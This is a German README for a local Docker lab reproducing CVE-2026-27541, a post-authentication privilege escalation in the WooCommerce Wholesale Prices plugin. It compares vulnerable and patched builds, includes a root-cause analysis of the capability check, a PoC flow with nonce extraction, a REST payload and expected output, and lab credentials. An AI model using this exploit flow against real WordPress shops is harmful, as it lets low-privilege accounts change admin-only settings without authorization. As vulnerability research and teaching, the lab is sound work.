
# Docker-Lab zur Reproduktion von CVE-2026-27541, einer authentifizierten Privilegieneskalation in WooCommerce Wholesale Prices. Vergleicht verwundbare und gepatchte Builds, enthält PoC-Skript und Root-Cause-Analyse.

Dieses Projekt ist ein lokales Docker-Labor zur Analyse und Reproduktion des Verhaltens von CVE-2026-27541 im WooCommerce Wholesale Prices / Wholesale Suite-Plugin, indem verwundbare und gepatchte Builds Seite an Seite auf derselben Maschine verglichen werden.
Das Kernproblem ist Broken Access Control im folgenden REST-API-Endpunkt:
/wp-json/wwp/v1/admin/save
Basierend auf dem in diesem Labor verwendeten Quellcode verfügt diese Route in beiden Builds (verwundbar und gepatcht) bereits über einen permission_callback. Die betroffene Version verwendet jedoch eine zu weit gefasste Fähigkeitsprüfung für eine Admin-Einstellungs-Schreibaktion:
2.2.6) → current_user_can( 'manage_woocommerce' )2.2.7) → current_user_can( 'manage_options' )In diesem Labor hat der Benutzer shopmgr, der die Rolle shop_manager besitzt, manage_woocommerce=true, aber nicht manage_options. Dadurch kann dieser Benutzer mit geringen Rechten eine gültige angemeldete Sitzung sowie ein gültiges X-WP-Nonce verwenden, um den Admin-Einstellungs-Speicher-Endpunkt im verwundbaren Build aufzurufen, während der gepatchte Build für dieselbe Anfrage 403 rest_forbidden zurückgibt.
2.2.6): Der Benutzer shopmgr kann erfolgreich POST /wp-json/wwp/v1/admin/save aufrufen und Plugin-Einstellungen ändern.2.2.7): Dieselbe Anfrage von shopmgr wird mit 403 abgelehnt.403 zurück, was konsistent mit einem Post-Authentifizierungs-Privilegienausweitungsproblem ist.wwp_see_wholesale_prices_replacement_text=PWNED_BY_POC, während der gepatchte Build weiterhin See wholesale prices zurückgibt.vuln → WordPress + WooCommerce + WooCommerce Wholesale Prices 2.2.6patched → WordPress + WooCommerce + WooCommerce Wholesale Prices 2.2.7db-vuln / db-patched → separate MariaDB-Datenbankenseed-vuln / seed-patched → wp-cli-Seed-Jobs, die WordPress installieren, das Plugin installieren, Benutzer erstellen und ein Produkt für Tests erstellenhttp://localhost:8081 → verwundbarhttp://localhost:8082 → gepatchtwordpress:6.8.1-php8.2-apachemariadb:11.4.5wordpress:cli-php8.2.
├── docker-compose.yml
├── README.md
├── patched/
│ └── Dockerfile
├── vuln/
│ └── Dockerfile
├── scripts/
│ └── seed-wp.sh
└── poc.py
docker-compose.yml — definiert die verwundbaren und gepatchten Stacks mit separaten Datenbankenscripts/seed-wp.sh — installiert WordPress, WooCommerce, das Ziel-Plugin und erstellt Testbenutzer und Produktdatenpoc.py — PoC mit minimalem Schadenspotenzial für Login, Nonce-Extraktion und REST-Endpunkt-AufrufSobald der Stack bereit ist, erstellt das Seed-Skript Folgendes:
admin / AdminPass!234shopmgr / ShopMgrPass!234lab-product10050WooCommerce: 10.6.0
WooCommerce Wholesale Prices:
2.2.62.2.7Das Skript schreibt außerdem lab-secrets.json in jeden WordPress-Container, damit die Seed-Daten und Versionsinformationen überprüft werden können.
Dieser PoC versucht nicht, die Website zu übernehmen, Rollen zu ändern, Plugins zu installieren oder eine Shell auszuführen.
Er führt nur Folgendes aus:
shopmgr anwpApiSettings.nonce zu extrahierenwwp_see_wholesale_prices_replacement_text = PWNED_BY_POC
Diese Einstellung wird als beobachtbarer Marker verwendet, um zu demonstrieren, dass ein Benutzer mit geringen Rechten eine nur für Administratoren bestimmte Konfiguration ändern kann.
POST /wp-json/wwp/v1/admin/saveObwohl der Endpunkt eine gültige Sitzung und ein Nonce erfordert, erlaubt die verwundbare Version dennoch einem Benutzer mit geringen Rechten wie shopmgr mit der Rolle shop_manager, einen Endpunkt aufzurufen, der nur für Administratoren gedacht sein sollte.
Dies ist keine nicht authentifizierte Schwachstelle.
Wenn der Endpunkt direkt ohne angemeldete Sitzung aufgerufen wird, lehnen sowohl der verwundbare als auch der gepatchte Build die Anfrage ab. Der Fehler liegt in der Autorisierung nach der Authentifizierung, nicht in der Authentifizierung selbst.
Der verwundbaren Version fehlt kein permission_callback. Der Fehler besteht darin, dass sie eine zu weit gefasste Fähigkeitsprüfung (manage_woocommerce) für eine REST-Aktion verwendet, die Admin-seitige Einstellungen schreibt.
Aus dem Quellcode in includes/class-wwp-admin-settings.php:
POST /wp-json/wwp/v1/admin/savesave_registered_settings() weiterpermission_admin_check() als permission_callback2.2.6)if ( ! current_user_can( 'manage_woocommerce' ) ) {
return new WP_Error( 'rest_forbidden', ... );
}
2.2.7)if ( ! current_user_can( 'manage_options' ) ) {
return new WP_Error( 'rest_forbidden', ... );
}
In diesem Labor hat der Benutzer shopmgr, der die Rolle shop_manager besitzt, manage_woocommerce=true, aber nicht manage_options, sodass er die verwundbare Prüfung besteht, aber die gepatchte nicht.
Die gepatchte Version tut mehr, als nur die Antwort von 200 auf 403 zu ändern. Sie ändert die Zugriffskontrolllogik, indem sie die Fähigkeitsanforderung von manage_woocommerce auf manage_options verschärft.
Darüber hinaus ist der Speicherpfad im gepatchten Build weiter gehärtet, indem von präfixbasierter Filterung auf explizite Whitelists und stärkere Sanitisierung umgestellt wird.
Der PoC folgt demselben Ablauf wie ein realer Browser-Kontext:
shopmgr anmeldenwpApiSettings.nonce extrahierenPOST /wp-json/wwp/v1/admin/save aufrufenDa der verwundbare Build Benutzern mit manage_woocommerce erlaubt, diese Einstellungs-Schreibaktion aufzurufen, ist die Anfrage erfolgreich und führt zu einer persistenten Optionsänderung.
Ein nonce hilft gegen CSRF, ist aber keine Autorisierungskontrolle.
Eine gültige Sitzung und ein gültiges Nonce zu haben, bedeutet nicht, dass ein Benutzer eine Admin-Aktion ausführen darf. Die Verwendung einer zu weit gefassten Fähigkeit auf einem privilegierten Endpunkt reicht aus, um eine Autorisierungsumgehung mit geringen Rechten zu erzeugen.
docker compose up -d --build
docker compose ps
Sie sollten mindestens Folgendes sehen:
cve-2026-27541-vuln-1cve-2026-27541-patched-1cve-2026-27541-db-vuln-1cve-2026-27541-db-patched-1docker compose logs -f seed-vuln seed-patched
docker compose exec vuln cat /var/www/html/lab-secrets.json
docker compose exec patched cat /var/www/html/lab-secrets.json
poc.py funktioniert wie folgt:
GET /wp-login.php
POST /wp-login.php zur Herstellung einer authentifizierten Sitzung
die Plugin-Admin-Seite öffnen:
/wp-admin/admin.php?page=wholesale-settings&tab=wholesale_prices
wpApiSettings.nonce und die REST-Root aus dem HTML/JavaScript extrahieren
eine Anfrage senden an:
/wp-json/wwp/v1/admin/save
die Payload übermitteln:
[
{
"key": "wwp_see_wholesale_prices_replacement_text",
"value": "PWNED_BY_POC"
}
]
python3 poc.py \
--base-url http://localhost:8081 \
--username shopmgr \
--password 'ShopMgrPass!234'
python3 poc.py \
--base-url http://localhost:8082 \
--username shopmgr \
--password 'ShopMgrPass!234'
8081)Erwartete Ausgabe:
[+] Base URL: http://localhost:8081
[+] Username: shopmgr
[+] Logged in successfully
[+] Accessed admin page: http://localhost:8081/wp-admin/admin.php?page=wholesale-settings&tab=wholesale_prices
[+] Using wpApiSettings nonce
[+] Nonce: b6b6add11b
[+] REST root: http://localhost:8081/wp-json/
[+] Sending payload to: http://localhost:8081/wp-json/wwp/v1/admin/save
[+] HTTP status: 200
{"status":"success","message":"Settings saved successfully."}
[+] PoC SUCCESS (pwnd)
[*] Verify via incognito (not logged in):
- Open product page
- Look for: PWNED_BY_POC
8082)Erwartete Ausgabe:
[+] Base URL: http://localhost:8082
[+] Username: shopmgr
[+] Logged in successfully
[+] Accessed admin page: http://localhost:8082/wp-admin/admin.php?page=wholesale-settings&tab=wholesale_prices
[+] Using wpApiSettings nonce
[+] Nonce: 5c4ef2ac6f
[+] REST root: http://localhost:8082/wp-json/
[+] Sending payload to: http://localhost:8082/wp-json/wwp/v1/admin/save
[+] HTTP status: 403
{"code":"rest_forbidden","message":"You do not have permission to save data.","data":{"status":403}}
[-] PoC failed
Nachdem der PoC auf dem verwundbaren Knoten erfolgreich war:
PWNED_BY_POC
Die praktische Auswirkung dieser Fehlerklasse besteht darin, dass ein Benutzer mit geringen Rechten Konfigurationen ändern kann, die nur für Administratoren gedacht sein sollten, was direkt zu Folgendem führen kann:
Dieses Labor verwendet absichtlich eine sichere und beobachtbare Payload, um Rollenänderungen oder jede Eskalation über das hinaus zu vermeiden, was zum Nachweis der Schwachstellenbedingung erforderlich ist.
docker compose down -v
localhost gebundenDieses Labor zeigt, dass CVE-2026-27541 eine authentifizierte Autorisierungsumgehung mit geringen Rechten im REST-API-Einstellungsendpunkt des Plugins ist. Der Fehler in Version 2.2.6 ist nicht das Fehlen einer Berechtigungsprüfung, sondern die Verwendung einer zu weit gefassten Fähigkeit (manage_woocommerce) für eine Aktion, die auf der Ebene manage_options eingeschränkt sein sollte.
In dieser lokalen Umgebung:
shopmgr die verwundbare Prüfung und kann Admin-seitige Einstellungen erfolgreich über POST /wp-json/wwp/v1/admin/save ändern2.2.7 blockiertPWNED_BY_POC in der Zieloption, während der gepatchte Build dies nicht tutAls Ergebnis dient dieses Repository sowohl als Verhaltensnachweis als auch als codegestützter Nachweis des Unterschieds zwischen verwundbar und gepatcht in einer vollständig kontrollierten lokalen Umgebung.